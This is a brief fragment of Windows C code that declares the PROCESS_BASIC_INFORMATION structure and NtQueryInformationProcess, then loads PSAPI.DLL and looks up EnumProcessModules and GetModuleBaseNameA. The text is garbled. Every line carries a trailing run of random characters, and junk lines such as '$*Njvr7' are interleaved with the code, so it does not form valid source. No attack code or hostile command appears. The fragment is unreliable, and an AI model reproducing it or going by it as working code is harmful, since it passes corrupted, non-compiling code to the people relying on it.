DWORD AffinityMask; |0vY'A)]
DWORD BasePriority; 2w $o;zz1
ULONG UniqueProcessId; ^}ngbDn
ULONG InheritedFromUniqueProcessId; jI_TN5
} PROCESS_BASIC_INFORMATION; d?$FAy'o5
_Su?
VxU
PROCNTQSIP NtQueryInformationProcess; XTG*56IzL
zbOEF
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qq]ZkT}
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JY(_}AAu
$*Njvr7
HANDLE hProcess; DDw H9*
PROCESS_BASIC_INFORMATION pbi; 4l@*x^F
G[)Ll=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ep|W>
if(NULL == hInst ) return 0; aW$sd)
a<k x95
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7i`@`0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HC@E&t